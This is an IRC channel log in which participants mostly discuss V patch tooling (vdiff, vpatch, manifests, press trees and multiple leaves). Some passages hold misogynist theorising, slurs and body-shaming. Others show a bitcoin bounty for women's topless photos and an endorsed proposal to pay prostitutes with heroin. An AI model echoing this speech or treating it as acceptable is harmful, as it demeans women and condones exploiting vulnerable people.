1791168;1522380714;mircea_popescu;ben_vulpes this is a necessary problem of "unpumped tanks". sulphur compounds sort themselves to the bottom.
1791169;1522380804;ben_vulpes;mircea_popescu: i don't understand the point in re male regulation of the copulation rate
1791170;1522380841;mircea_popescu;when's the last time you saw a pantsuit worry outloud about how much sex a woman's been having ?
1791171;1522380943;mod6;+
1791172;1522380970;mircea_popescu;sex regulation is the first and fundamental point of even having a society in the first place, you understand this ? because a guy can maybe do a woman for an hour a day or such, but a gal can do all the men that walk in the door, and then some. it's mismatched, by nature.
1791173;1522381020;mircea_popescu;and there's only two available fixes : either compete, or repress. there's nothing else, but these and mixes.
1791174;1522381068;mircea_popescu;the particular sort of nut that proposes that men needn't compete and women must repress is always and everywhere the same, whether it calls itself "young communists" or "students" or "Straightedge" or "alt-right", there can not be a difference once that unity is given.
1791175;1522381098;ben_vulpes;ah, it snaps into focus
1791176;1522381150;mircea_popescu;the "feminist" aka, "reverse-alt-right" doesn't even sort in a different box, either. they're the exact sorty of nut, precisely in the manner of how the guy who always speaks the truth and the guy who always speaks the opposite of truth aren't DIFFERENT.
1791177;1522381162;asciilifeform;mircea_popescu: out of curiosity, what would the other 2 holes of the 2x2 matrix look like , and has anyone filled'em ?
1791178;1522381181;mircea_popescu;and this is, incidentally, why i don't for a second believe "alt-right" is anything but alt-socialism ; or why i never looked with friendly eyes upon say modlbug.
1791179;1522381206;mircea_popescu;asciilifeform "decadent bourgeoisie" is both must compete. you know, like late roman / late greeks / late manchuku / etc.
1791180;1522381234;mircea_popescu;and "peasant civilisation" as in mirvniki or the wooden civilisation that covered the hills of transylvania as late as the 1800s is "both must repress"
1791181;1522381251;asciilifeform;maekssense.
1791182;1522381354;ben_vulpes;trinque: http://p.bvulpes.com/pastes/xmnNW/?raw=true i can provide dates and conversion rates if you really feel like raking me over the coals
1791183;1522381363;mircea_popescu;anyway. classification is the first and remains the foremost job of the scholar ; the cornersone of all understanding. its tools are the paramount tools of knowledge.
1791184;1522381405;trinque;ben_vulpes: lol coals. I paid the damned thing before I even saw.
1791185;1522381413;ben_vulpes;i know i know
1791186;1522381413;trinque;it's all good, just curious about how it all went
1791187;1522381451;ben_vulpes;i am pantsuit, see me signal
1791188;1522381458;mircea_popescu;no, it's a worthy exercise, let him write reports to understand wtf he's doing even.
1791189;1522381484;mircea_popescu;it saved imperialism from collapse into africanism ; it'll do us a spot of good too. write letters home.
1791190;1522381889;douchebag;mircea_popescu: Hey I was wondering, I know a shit ton of prostitutes - do I get 0.02 in exchange for their tit pics?
1791191;1522381906;mircea_popescu;as long as they jump through the hoops, they get the cents.
1791192;1522381923;mircea_popescu;why, have you been sweet talking the girls into giving out your btc addresses ?
1791193;1522381944;douchebag;Nah those are just discord whores looking to make cash
1791194;1522381965;douchebag;but I could easily round up a couple prostitutes and have em write on their tits
1791195;1522381976;mircea_popescu;lol, is it actually open to arbitrage, ie hire hooker for a bitcent, write on her tits, make two bitcents ?
1791196;1522381978;douchebag;throw em a $40 bag of heroin and tell em fuck off
1791197;1522381984;mircea_popescu;by all means.
1791198;1522382005;asciilifeform;douchebag: can you shed light on popularity of 'discord' item ?
1791199;1522382010;mircea_popescu;the whole point of the exercise is to bring the light of the new world to the masses.
1791200;1522382026;mircea_popescu;asciilifeform alt-skype. exact same thing, too, which is lulzy.
1791201;1522382052;asciilifeform;yea as far as naked eye can tell, same thing
1791202;1522382052;mircea_popescu;douchebag but he has a point, there's a large pile of discord sluts / servers dedicated to them. can just as well raid those.
1791203;1522382063;asciilifeform;was curious re why 'alt'
1791204;1522382076;douchebag;I see, I guess I'll just try to find a prositiute who knows how use a computer
1791205;1522382106;mircea_popescu;asciilifeform you understand how the usg uroborus goes ? constant eating its own tail : 1. have "idea" ; 2. get "finance" for idea ; 3. implement "idea" to "grow big" because "monetize later" ; 4. someone else has "same idea" does it cheaper ; 5. collects finance to "grow big" because "money later" and so on
1791206;1522382132;mircea_popescu;alt because works on more platforms and costs less and so on.
1791207;1522382144;asciilifeform;aa
1791208;1522382152;mircea_popescu;basically, didn't ahve the time for the pantsuit to work it into idiocy, which is how things die there, "we added a code of conduct".
1791209;1522382185;mircea_popescu;they keep "adding improvements", various http://logs.bvulpes.com/trilema?d=2018-3-29#321892 epycicles.
1791210;1522382185;mimisbrunnr;Logged on 2018-03-29 17:23 mircea_popescu: so : in order to prevent walking their db, fetlife DID NOT, ~~~STILL~~~ implement the obviously correct method described for free by moi, back in http://trilema.com/2015/fetlife-the-meat-market/#comment-112222
1791211;1522382854;mircea_popescu;in other suicide notes : i had girl grind into fine dust a 100% chocolate bar while another ground into similarily fine dust semillas de maranon. i myself was dumping raisins into rum.
1791212;1522382882;mircea_popescu;AND THEN i cooked the flour in the fat and bechamel'd it with the alcohol. the resulting sauce got poured over cut up bananas.
1791213;1522382901;mircea_popescu;it is now in the freezer. i'm having the third serving. best 300 calorie spoonfulls i ever had.
1791214;1522382919;mircea_popescu;in case this is the last you hear of me -- know i've had a good life.
1791215;1522383073;mod6;:]
1791216;1522383075;mod6;sounds awesome
1791217;1522383527;mircea_popescu;douchebag btw, what happened to the drawer guy ?
1791218;1522384503;ave1;mod6, I'm sorry I forgot the project name(http://btcbase.org/log/2018-03-30#1791071), this should do the trick: gprclean vdiff.gpr; gprbuild -v vdiff.gpr
1791219;1522384503;a111;Logged on 2018-03-30 01:29 mod6: ave1: http://p.bvulpes.com/pastes/FQrCw/?raw=true
1791220;1522384687;douchebag;he hasn't gotten back to me :/
1791221;1522384693;mircea_popescu;ah. k.
1791222;1522384728;mircea_popescu;i dunno wtf is it with sketchers, but they're the sketchiest bunch by far.
1791223;1522384836;douchebag;They always bitch about not having money
1791224;1522384849;douchebag;and then when you offer them work they're too lazy to do the work
1791225;1522384866;douchebag;Basically they think they're artists because they smoke pot and draw shit
1791226;1522385238;mircea_popescu;must be.
1791227;1522385492;mod6;ave1: http://p.bvulpes.com/pastes/vVcs9/?raw=true
1791228;1522386009;ave1;mod6, well your environment is sound and exactly the same as mine. Also you get the same error. Spyked patch should fix it (or open lib/xalloc.h and add static to all inline void functions that do not already have a static).  It may be that phfs' enviroment is different (so far as I can see, spyked, hanbot, me and you all have the same problem).
1791229;1522386230;ave1;btw I tried adding -flto/-fno-lto flags and optimization flags, but these did nothing for me.
1791230;1522386789;mod6;Thanks ave1
1791231;1522387270;douchebag;mircea_popescu: I have a girl but she is wondering if she's allowed to wear sunglasses
1791232;1522387279;mircea_popescu;she isn't.
1791233;1522387313;douchebag;Alright, told her that's a no - let's see how this goes
1791234;1522390032;douchebag;mpex.biz is not loading ?
1791235;1522390310;mircea_popescu;a did it crap out ?
1791236;1522390323;mod6;down here too
1791237;1522390335;*;mircea_popescu puts on list for tomorrow.
1791238;1522390957;douchebag;I was wondering, how much would I earn from writing qntra articles?
1791239;1522391050;douchebag;mircea_popescu: A woman is interested in the tits offer, but she's morbidly obese
1791240;1522391052;ben_vulpes;and then once you write a qntra article, you'll wonder whether or not you should sell the shares you get for it on the spot or hold out for a better price
1791241;1522391081;douchebag;ben_vulpes: How much are qntra shares worth at the moment?
1791242;1522391207;ben_vulpes;douchebag: do you know where it's traded?
1791243;1522391289;ben_vulpes;man i don't know anything about port but this is delicious
1791244;1522391309;douchebag;I assumed mpex.biz but since that's down at the moment I wasn't able to verify
1791245;1522391377;ben_vulpes;it's like two links deep off the homepage
1791246;1522391378;ben_vulpes;http://qntra.net/2014/10/write-for-qntra-earn-equity-in-qntra/
1791247;1522391584;douchebag;Anyway though, she wants to know if she'll still get paid even though shes a porker
1791248;1522391607;ben_vulpes;why not let the girl speak for herself
1791249;1522391616;douchebag;Sure
1791250;1522391699;ben_vulpes;btw douchebag are you following the shared hosting php saga in #pizarro?
1791251;1522392149;douchebag;No I'm not in there, can you give me a brief overview of what's going down?
1791252;1522393803;douchebag;dagofbicks is here to show tits btw
1791253;1522393986;ben_vulpes;douchebag: no, read the logs it's not that dense
1791254;1522393988;ben_vulpes;also http://logs.bvulpes.com/trilema?d=2018-3-23#317921
1791255;1522393988;mimisbrunnr;Logged on 2018-03-23 04:27 mircea_popescu: im starting to understand that "the opposite of talking is not listening, the opposite of talking is waiting for your turn" quip may have been adequate in the early postmodern stage ; but by now it's truly a case of "work efficiency is most work with least read." chucka wins in the end.
1791256;1522393995;ben_vulpes;douchebag: http://logs.bvulpes.com/pizarro
1791257;1522415568;ave1;diana_coman: could the input parameter of rsa_oaep_encrypt be a character array? it is now an MPI this will discard any leading zero's of a message an exclude binary stream/file encryption. (same goes for decrypt)
1791258;1522415586;ave1;an exclude -> and exclude
1791259;1522420669;diana_coman;ave1, do you mean basically http://www.dianacoman.com/2018/03/01/eucrypt-chapter-12-wrapper-c-ada-for-rsa-oaep/#selection-307.1-307.690 ?
1791260;1522421060;diana_coman;to answer your question directly though: 1. it certainly could - rsa_oaep_encrypt is just a wrapper so it's meant more as an example of using all the stuff together rather than a standard: I'd expect that there would be other/different wrappers, made to suit specific uses
1791261;1522422387;mircea_popescu;aand in other morning glories, "i dreamed that i was in trouble, i don't know what, and i was walking back to where you were, shaking incontrollably from all joints. but then, voice-of-god you, that was in the air, said "don't worry about it, pet. go back to sleep". so i went back to sleep." "did i also look like the old king on the packaging of small chocolates ?" "no, you didn't look like anything, it was just the voice."
1791262;1522422397;mircea_popescu;see what the whip does ? it makes gods of people!
1791263;1522422501;ave1;diana_comon, Yes, I read the test and the code and your text  (also played with the test a little). So I was a little suprised that rsa_oaep_encrypt used mpi code. I will write an alternative.
1791264;1522422750;ave1;and another typo (i'm sorry) -> diana_coman
1791265;1522422814;diana_coman;ave1, writing an alternative sounds great to me; (and no worries re typo; auto-complete is convenient though)
1791266;1522422845;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-30#322461 << you get one share per word at the end of the month.
1791267;1522422846;mimisbrunnr;Logged on 2018-03-30 06:14 douchebag: I was wondering, how much would I earn from writing qntra articles?
1791268;1522422855;mircea_popescu;look for the editor in chief reports, they detail it.
1791269;1522422890;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-30#322467 << sadly all proxies took a long walk off a short pier ; working on remedial.
1791270;1522422891;mimisbrunnr;Logged on 2018-03-30 06:18 ben_vulpes: douchebag: do you know where it's traded?
1791271;1522422913;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-30#322475 << yes.
1791272;1522422913;mimisbrunnr;Logged on 2018-03-30 06:24 douchebag: Anyway though, she wants to know if she'll still get paid even though shes a porker
1791273;1522423512;douchebag;alright, she's offline at the moment. I'll let her know whenever she decides to get on
1791274;1522423570;mircea_popescu;no biggy.
1791275;1522423583;mircea_popescu;don't stress out, the show's here all day.
1791276;1522431385;deedbot;http://www.dianacoman.com/2018/03/30/my-first-2-years-as-cto-for-minigame/ << Ossasepia - My First 2 Years as CTO for Minigame
1791277;1522431385;deedbot;http://trilema.com/2018/the-naked-city/ << Trilema - The Naked City
1791278;1522431533;phf;http://btcbase.org/log/2018-03-30#1791228 << i'll publish the relevant patchsets on btcbase this saturday; i've read the relevant specs and the issue seems to be straightforward, what is annoying though is that for whatever reason it's not uniform across platforms.
1791279;1522431533;a111;Logged on 2018-03-30 05:00 ave1: mod6, well your environment is sound and exactly the same as mine. Also you get the same error. Spyked patch should fix it (or open lib/xalloc.h and add static to all inline void functions that do not already have a static).  It may be that phfs' enviroment is different (so far as I can see, spyked, hanbot, me and you all have the same problem).
1791280;1522431800;mircea_popescu;phf http://logs.bvulpes.com/trilema?d=2018-3-29#321679
1791281;1522431800;mimisbrunnr;Logged on 2018-03-29 14:53 mircea_popescu: is this deliberate or oversight phf ?
1791282;1522432142;phf;http://btcbase.org/log/2018-03-30#1791198 << there's already a generation of kids coming up for whom alt-right/feminism is what old people do; they want to be able to post fashwave pictures, while remaining mostly pantsuit. for them facebook/twitter is where they maintain public teacher/parents friendly identity, and mastodon/discord is where they can be themselves. it's basically just another wave of social networks.
1791283;1522432142;a111;Logged on 2018-03-30 03:53 asciilifeform: douchebag: can you shed light on popularity of 'discord' item ?
1791284;1522432214;douchebag;eh discord is used by a lot of autistic people
1791285;1522432248;douchebag;gremlin is here to show tits bt
1791286;1522432250;douchebag;w
1791287;1522432267;douchebag;oh
1791288;1522432276;phf;mp picked up on your use of "autistic", which i didn't grok myself http://btcbase.org/log/2018-03-29#1791068
1791289;1522432276;a111;Logged on 2018-03-29 23:39 mircea_popescu: i suspect by now "autistic" is the equivalent of the 1800s "friend". "one of ours" as opposed to "one of theirs"
1791290;1522432297;douchebag;No, just a strange group of people
1791291;1522432337;douchebag;oh shes back as grimm I guess
1791292;1522432362;ben_vulpes;!!up grimm
1791293;1522432363;deedbot;grimm voiced for 30 minutes.
1791294;1522432377;grimm;im here to show tits
1791295;1522432417;grimm;!!register http://p.bvulpes.com/pastes/iGDB6/?raw=true
1791296;1522432420;deedbot;E650469615F2EC9815C4589C8D806BAE3615D0E7 registered as grimm.
1791297;1522432581;mircea_popescu;grimm did you ever do it before ?
1791298;1522432594;grimm;nop
1791299;1522432616;mircea_popescu;mk ; do a good job, will you. 5efeec1f
1791300;1522432659;grimm;ye sure will sec
1791301;1522432765;mircea_popescu;phf mp has the advantage of a full house. but anyway, yes, very much so, "twitter is the secret treefort mom knows about ; and then discord is the secret basement where https://www.reddit.com/r/stupidslutsclub/comments/87421g/do_you_know_where_your_daughters_are/ "
1791302;1522432879;grimm;https://i.imgur.com/5dDoHn2.jpg
1791303;1522432901;mircea_popescu;cheers.
1791304;1522432905;mircea_popescu;!!pay grimm 0.02
1791305;1522432911;deedbot;Get your OTP: http://p.bvulpes.com/pastes/hHoCD/?raw=true
1791306;1522432982;douchebag;grimm: it takes a moment
1791307;1522433248;grimm;!!balance
1791308;1522433256;deedbot;http://p.bvulpes.com/pastes/FXQSM/?raw=true
1791309;1522433392;mircea_popescu;(btw, vice is SO butthurt at "fashwave" it's something else. how fucktarded do these shriveled up, useless cunts who thought they can "become writers" need to be not to realise that the only thing they're doing is fanning teh fire ? aaanyways)
1791310;1522433398;asciilifeform;what are the last 2 characters in the magicstring in that titpic ?
1791311;1522433438;mircea_popescu;asciilifeform looks like tittycode for 1 and f
1791312;1522433474;grimm;i just wrote what was given
1791313;1522433485;grimm;!!balance
1791314;1522433488;mircea_popescu;grimm you wrote the 1 backwards which is funny
1791315;1522433490;deedbot;http://p.bvulpes.com/pastes/xNd75/?raw=true
1791316;1522433600;grimm;lol sorry
1791317;1522433602;grimm;!!withdraw 0.02 3FabNPwSNoaQEAfk9qCmb6Sj9BtJ7g8uGV
1791318;1522433615;deedbot;Get your OTP: http://p.bvulpes.com/pastes/9rPCy/?raw=true
1791319;1522433661;grimm;numbers from upside down are hard
1791320;1522433670;mircea_popescu;we've been discovering\
1791321;1522433712;deedbot;http://qntra.net/2018/03/gold-diggers-take-grace-mugabes-farm-as-precedent-of-uncompensated-land-seizure-turns-on-the-mugabes/ << Qntra - Gold Diggers Take Grace Mugabe's Farm As Precedent Of Uncompensated Land Seizure Turns on The Mugabes
1791322;1522433750;grimm;!!v CF01914134E1A5C9419231F3CDA505B749906689AA6E0ABF88EF5EBE3D838393
1791323;1522433777;deedbot;http://p.bvulpes.com/pastes/FlTEF/?raw=true
1791324;1522433834;mircea_popescu;lmao
1791325;1522433835;grimm;thank you ill tell all my friends ahahaha
1791326;1522433841;mircea_popescu;grimm please do.
1791327;1522433880;BingoBoingo;<mircea_popescu> (btw, vice is SO butthurt at "fashwave" it's something else. how fucktarded do these shriveled up, useless cunts who thought they can "become writers" need to be not to realise that the only thing they're doing is fanning teh fire ? aaanyways) << It's like bull baiting, but with babushkas
1791328;1522433890;trinque;BingoBoingo with the unmatched comedic timing
1791329;1522433903;mircea_popescu;"qntra : under the deluge of tit bits, website-exchanges btc price keeps falling" lmao
1791330;1522433916;mircea_popescu;trinque i k r!!1
1791331;1522433982;mircea_popescu;i wonder which one of these identitties will pop up later doing anything worth the mention.
1791332;1522434006;asciilifeform;any from prev years popped up so far ?
1791333;1522434024;mircea_popescu;what's in a year. people who "become president" on stanford's list usually take 3-5 decades.
1791334;1522434204;*;asciilifeform will be surprised, impressed, if it ever becomes known that one of these folx kept the 0.02 for decades
1791335;1522434220;mircea_popescu;tis a distinct possibilitit.
1791336;1522434277;asciilifeform;( the more frequent ending seems to be the one pictured in http://trilema.com/2013/and-then-i-said-to-him-jimmy )
1791337;1522434298;mircea_popescu;yawell
1791338;1522434603;phf;http://btcbase.org/log/2018-03-30#1791280 << it's an oversight. i thought that the idea is that my vdiff/vpatch support programmatically whatever manifest format we come up with, but somebody demonstrates how it's supposed to work first. it's not hard to regrind existing tree, manually add a manifest, and then see how it looks on a graph. for some reason i thought that trinque has that experiment in his pipeline, since he also seems to have a clear ide
1791339;1522434603;a111;Logged on 2018-03-30 17:43 mircea_popescu: phf http://logs.bvulpes.com/trilema?d=2018-3-29#321679
1791340;1522434603;phf;a as to what format the manifest supposed to be. i didn't realize that the idea is that vtools tree was supposed to be the first one to experiment with it
1791341;1522434603;mimisbrunnr;Logged on 2018-03-29 14:53 mircea_popescu: is this deliberate or oversight phf ?
1791342;1522434622;mircea_popescu;nah, the idea was you hatch a format and include it.
1791343;1522434718;mircea_popescu;so go ahead an' regrind.
1791344;1522434736;trinque;not like I'd have been opposed; it's just easy to imagine what it'd look like. every patch has an antecedent of the history file, as well as whichever other files.
1791345;1522435057;phf;trinque: can you produce a sample then? i don't want to implement your idea, having only vague understanding of how it's supposed to look. there's been many discussions in the log as to what the actual manifest contents should include
1791346;1522435293;trinque;http://p.bvulpes.com/pastes/9g8Sl/?raw=true << sure, I think it's just the expected flow up to the current patch
1791347;1522435355;trinque;can compare to the actual flow you got out of the patches and wtf loudly if they mismatch
1791348;1522435375;phf;hmm
1791349;1522435394;trinque;maybe selectively because experimental patches might avoid touching the history file until they graduate
1791350;1522435425;mircea_popescu;phf that's the whole fucking point, implement his idea, having only "vague" understanding of how it's ~supposed~ to look. then he can comment on it.
1791351;1522435443;mircea_popescu;it's not supposed to look like anything, nor is it supposed. it flows from a necessity, what.
1791352;1522435476;phf;i don't understand his idea
1791353;1522435483;mircea_popescu;so then say that!
1791354;1522435501;mircea_popescu;reason i even did things in this manner is because it's not clear to me why it was contentious or whether the contention was resolved.
1791355;1522435517;mircea_popescu;phf do you see the problem spyked's patch to your v tree encountered ?
1791356;1522435565;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-29#321684 << specifically.
1791357;1522435565;mimisbrunnr;Logged on 2018-03-29 15:00 spyked: the way I understood it from reading v.pl, the edges in teh graph are established based on changes introduced by each hunk in the nodes (the patches). so since there are no patches changing the files in vdiff_lib_xalloc_static_xnmalloc.vpatch, it's a leaf (and this, if I understand correctly, is intrinsic to the current design of v).
1791358;1522435687;phf;mircea_popescu: i've seen that problem before, but i haven't tried solving it myself yet, because i've not ran into it. i've not had a chance to attempt spyke's problem/solution yet
1791359;1522435710;mircea_popescu;nono. i don't mean the direct, i mean the meta.
1791360;1522435724;mircea_popescu;his patch is a loose leaf, because it doesn't touch any of the files ?
1791361;1522435766;phf;i'm not sure if his analysis of the problem is correct without looking at it myself first
1791362;1522435777;mircea_popescu;let me state it canonically then, to guide the looking :
1791363;1522435809;mircea_popescu;you, phf, made genesis G, with files a, b, c. you then made patch 1, which changes file a.
1791364;1522435825;mircea_popescu;should he spyked make a patch 2, which changes file b, is that patch 2 off G or off patch 1 ?
1791365;1522435828;phf;(there's another problem in my tree specifically, of double presses. you have to have two separate patches for both trees)
1791366;1522435949;phf;well, presumably that's for the reader.
1791367;1522435951;phf;i'm saying that i understand the meta problem, because i've seen other people deal with it, and there's been a lot of competing proposals as to how to solve it, including trb's "makefile" approach.
1791368;1522435986;phf;but spyked might also be running into a lateral issue, that's related to double presses. in any case ~i~ need to look at it first before i have understanding of it.
1791369;1522435990;mircea_popescu;yes well.
1791370;1522435997;mircea_popescu;go right ahead.
1791371;1522436111;mircea_popescu;but "it's for the reader" is a very weak answer, because if patch 3 touching a and b is written so as to include patch 2, whereas patch 3` touching a alone is written so as not to include patch 2, "the reader" will have a most terrible time deciding which to use and why the fuck his build don't work.
1791372;1522436137;phf;"it's for the reader" meaning that you clarification is for the log reader
1791373;1522436151;mircea_popescu;a a. yeah ok
1791374;1522436195;mircea_popescu;so then you understand trinque's problem and trinque's idea ; or just the problem but not the idea or what was it ?
1791375;1522436315;phf;i don't understand the solution. i've spent significant amount of time writing various graph walking algorithms to feel like without an set of experimental patches it's hard to have a solution that actual address the underlying complexity. what i wanted to see from trinque or whoever's attempting to solve this problem, is an actual attempt to construct a press tree with a manifest file that does what they want, to ensure that the approach actual solves
1791376;1522436315;phf; the problem.
1791377;1522436354;phf;this doesn't require a new codebase, trb is there, can be reground
1791378;1522436376;mircea_popescu;well, the vdiff new tree was originally the most promising point for such a sample. i did say something in the vein of "i'm not going to keep trinque mothballed forever if you don't do it" recently, but anyways.
1791379;1522436409;mircea_popescu;terrible idea to do it on trb. no, you want to do it on something small and simple, speciifcallty because "it's not hard to regrind existing tree"
1791380;1522436587;phf;mircea_popescu: right, around the time when you made that mothballed comment did i get cued into the idea that you wanted me to implement it.
1791381;1522436612;mircea_popescu;um. no, i said as much months ago, dja want me to dig the log ?
1791382;1522436651;phf;yes please
1791383;1522437242;*;phf bb
1791384;1522437574;mircea_popescu;http://logs.bvulpes.com/trilema?d=2017-12-6#253896 << earliest discussion of actually making replacement vdiff ; http://logs.bvulpes.com/trilema?d=2017-12-14#259177 << where you got called a week later ; here's the moneyshot :
1791385;1522437574;mimisbrunnr;Logged on 2017-12-06 22:38 mircea_popescu: if we start fucking with vdiff, this is the first mover.
1791386;1522437576;mircea_popescu;Dec 14 14:00:23 <asciilifeform>	yea but mircea_popescu demanded sane namespace behaviour
1791387;1522437576;mircea_popescu;Dec 14 14:06:42 <mircea_popescu>	i'm letting him contribute, what. he understands what the problems are.
1791388;1522437576;mircea_popescu;Dec 14 14:07:00 <mircea_popescu>	maybe he bites the bullet and makes special files. or who the hell knows. i'm curious.
1791389;1522437629;mircea_popescu;now, from the evaluation late march, it seems to me i was correct in thinking back mid dec that you understood what the problems are, but that you didn't bother to implement any solution for one of them ? or what am i missing ?
1791390;1522437739;mircea_popescu;in any case those three lines unpack directly into http://logs.bvulpes.com/trilema?d=2018-3-30#322704 ; for they curious as to how the mp brain works.
1791391;1522437739;mimisbrunnr;Logged on 2018-03-30 18:36 mircea_popescu: reason i even did things in this manner is because it's not clear to me why it was contentious or whether the contention was resolved.
1791392;1522441917;phf;mircea_popescu: the conversation from which you quote the money shot happens in the context of file renames, the part where you call upon me quotes keccak specifically, elsewhere you re-enumerate the list of what looks like target items, http://btcbase.org/log/2017-12-14#1751799
1791393;1522441917;a111;Logged on 2017-12-14 22:49 mircea_popescu: phf so basically this is cropping down nicely after all. proper vpatch (fixing mod6 's bane, the empty dir thing) + proper vdiff (hash-based preprocessing of rename/move + proper use of @@...@@ + keccak hashing).
1791394;1522442011;phf;i'm not even through the list of target items yet, any one of them can be picked up as an example of "didn't bother to implement any solution for"
1791395;1522442059;mircea_popescu;phf i'm not saying you're the badman, or that it was necessarily plainly communicated. but, for what it's worth, that's what it was there.
1791396;1522442310;mod6;<+mircea_popescu> "qntra : under the deluge of tit bits, website-exchanges btc price keeps falling" lmao << :D
1791397;1522442360;mircea_popescu;the reason the list of firm targets doesn't include the soft "well, i'm curious what he does about X" is precisely because... how hard am i gonna push it ? that's kinda the constraint, on one hand death by vagueness & ambiguity, on the other death by insufferable overbearingness.
1791398;1522442527;phf;i grok that point; the things are simply not there. i've barely arrived to where i have a working replacement for what we already have on top of which further work can be built. i guess the only reason this one is contentious is because it would've worked better if done upfront.
1791399;1522442632;mircea_popescu;i have no issue with it, can be added now without any serious loss. the only thing not clear to me is whether you don't want to add it, can't add it yet or haven't gotten around to adding it yet.
1791400;1522442664;mircea_popescu;and none of the three is the "wrong" answer ; just, they lead down different paths and gotta pick something to talk about.
1791401;1522442714;mod6;fwiw, I think minus other targets, such as the empty dir thing, it's probably going to be easier to regresion test without changes for those targets -- basically having a 1:1 mapping of the old to new.
1791402;1522442724;mod6;*regression
1791403;1522442726;mircea_popescu;there is that.
1791404;1522442760;mod6;then the new vpatches to clobber the targets can be patched in, one at a time.  making test cases for each, simpler, and probalby more effective.
1791405;1522442771;phf;that's the thinking
1791406;1522442778;mod6;*thumbsup*
1791407;1522442845;phf;the retrospectively unpleasant part of this approach is patching vdiff's C, which, after writing a bunch of Ada, is torture. i believe diana_coman had similar experience
1791408;1522442914;phf;but i don't think i could've implemented ~patch equivalent~ differ in reasonable time. vpatch already ballooned out because of an unfamiliar development environment, and it's much less heuristic based.
1791409;1522442931;mircea_popescu;myeah.
1791410;1522442945;mircea_popescu;exactly how she ended up chained to a tree in the swamp, also.
1791411;1522444381;diana_coman;http://btcbase.org/log/2018-03-30#1791407 --> precisely, yes.
1791412;1522444381;a111;Logged on 2018-03-30 20:47 phf: the retrospectively unpleasant part of this approach is patching vdiff's C, which, after writing a bunch of Ada, is torture. i believe diana_coman had similar experience
1791413;1522445486;mod6;I made a test vpatch set for v related development.  Super helpful.  Allows me to create test scenarios and automate them, ensuring that I'm not regressing from version to version.
1791414;1522445525;mod6;Can do this if needed, didn't take long.
1791415;1522445599;mod6;Became necessary when testing for things like multiple roots, mulitple leaves; and have automation to break the tree into parts so I can ensure of other things, like no pressing of descendants if all antecedents are present in the current tree.
1791416;1522445911;mod6;http://www.mod6.net/sps_dag.png   http://www.mod6.net/sps2/
1791417;1522445916;mod6;bah
1791418;1522445927;mod6;here's the graph: http://www.mod6.net/sps2_dag.png
1791419;1522445961;mod6;files are in the second link above if curious
1791420;1522446438;mod6;Think I mis-typed the above too: *like no pressing of descendants if all antecedents are ~NOT~ present in the current tree*
1791421;1522447412;phf;mod6: would you mind uploading that test tree somewhere? i want to throw it at btcbase. fwiw, vpatch/vdiff doesn't care about press tree, as long as the hashes work out in the end
1791422;1522447442;mod6;http://www.mod6.net/sps2/ << here's the vpatches
1791423;1522447483;mod6;I do have seals for these signed with my vpatch-testing key... but you can just sign them with your junk key if you wanna play around
1791424;1522447491;mod6;(unless you really want my seals)
1791425;1522447513;phf;though a manifest could be used as a kind of assert during press, as long as it doesn't rely on filenames. (i believe the idea of putting antecedent vpatch's hashes into manifest floated around)
1791426;1522447618;mod6;i've been thinking about the manifest thing for a while... and I'm not sure about it... seems like it'd get hairy.  and would require versioning in and of itself.  however, if we had a sample to look at, might be easier for me to grok.
1791427;1522447765;mod6;was thinking, that if we changed up the parameterization of v, could maybe resolve the multiple leaves thing.  imagine  http://www.mod6.net/sps2_dag.png without the 'j.vpathch', if one wanted to press both trees, maybe could tell v to : `./v.pl p v outputdir i.vpatch d.vpatch`
1791428;1522447787;mod6;then would press both trees
1791429;1522447811;mod6;and if not, then user just selects one leaf, as is today.  i dunno, would need some thought.  i may be missing the mark here too.
1791430;1522447836;trinque;would have to name every patch that happened to end up a dangling leaf
1791431;1522447890;mod6;you're saying if there are 69 leaves, and you want them all, then you have to list them all?
1791432;1522447911;mod6;what if ole mod6 put in a special flag for that "gimme-all-leaves" instead of the listing of all?
1791433;1522447983;mod6;i.e. : `./v.pl p v outputdir gimme-all-leaves`
1791434;1522447991;phf;originally this was \supposed to be solved by curated wot, i.e. all in-wot-dangling leaves that can be applied to current press, by hash, would get pressed
1791435;1522448082;trinque;hm. I'd have to ponder a while to see what's lost. it's unclear what the purpose of designating a press head would be in that scenario
1791436;1522448103;trinque;the designated head matters along the walk of one path, but then you get all of adjacent ones?
1791437;1522448120;phf;trinque: that was the behavior of v all along!
1791438;1522448121;mod6;in the case of: http://p.bvulpes.com/pastes/DcUdz/?raw=true
1791439;1522448148;trinque;phf: it isn't.
1791440;1522448169;mod6;it used to be in my V 99994 i would just blindly press all of the leaves, but that's was rejected as not the right thing.  but with the good changes that 99993 brings in, could let the user choose at press time.  just food for thought.
1791441;1522448191;trinque;phf: can you elaborate a bit?
1791442;1522448219;asciilifeform;in was in asciilifeform's original draft v. purely by way of bugginess.
1791443;1522448224;phf;^
1791444;1522448230;trinque;lolk then
1791445;1522448239;asciilifeform;and possibly also in an early mod6 vtron.
1791446;1522448248;asciilifeform;but quite definitely The Wrong Thing
1791447;1522448257;mod6;aha, and was changed.
1791448;1522448259;phf;yeah, you guys "bugginess", this is the fundamental property of how v was described and how it was implemented
1791449;1522448266;asciilifeform;phf fixed it immediately when he wrote his patchviewer vtron.
1791450;1522448308;trinque;phf: where are you at on the practical problem of "trinque wants to redo portage in V" and I don't want people giving me patches that include unrelated ebuilds?
1791451;1522448312;asciilifeform;phf: nothing fundamental or desirable or ever for that matter explicitly proclaimed, about pressing adjacent (sibling) patches that happen to get alphabet-sorted upward of $presshead
1791452;1522448405;*;trinque will go ahead and try to delineate clearly
1791453;1522448433;trinque;with present V behavior, some file has to always be present as an antecedent for any coherent line of history (there could be many)
1791454;1522448454;trinque;if returning to "press everything, don't specify HEAD" I don't see that there can be multiple lines of history (branches)
1791455;1522448458;trinque;are there others?
1791456;1522448488;phf;trinque: there's no "returning to", original behavior is "press everything that falls from under this head"
1791457;1522448507;trinque;why are you refusing to acknowledge this problem?
1791458;1522448514;*;phf sighs
1791459;1522448539;phf;trinque: didn't you accuse me of projecting before, ~where did i refuse to acknowledge this problem~
1791460;1522448546;asciilifeform;http://btcbase.org/log/2018-03-30#1791427 << i proposed this at one point, and mircea_popescu (imho correctly) barfed, and one of the reasons was that it makes pressing irreversible (or at least reverse-walking becomes np-hard)
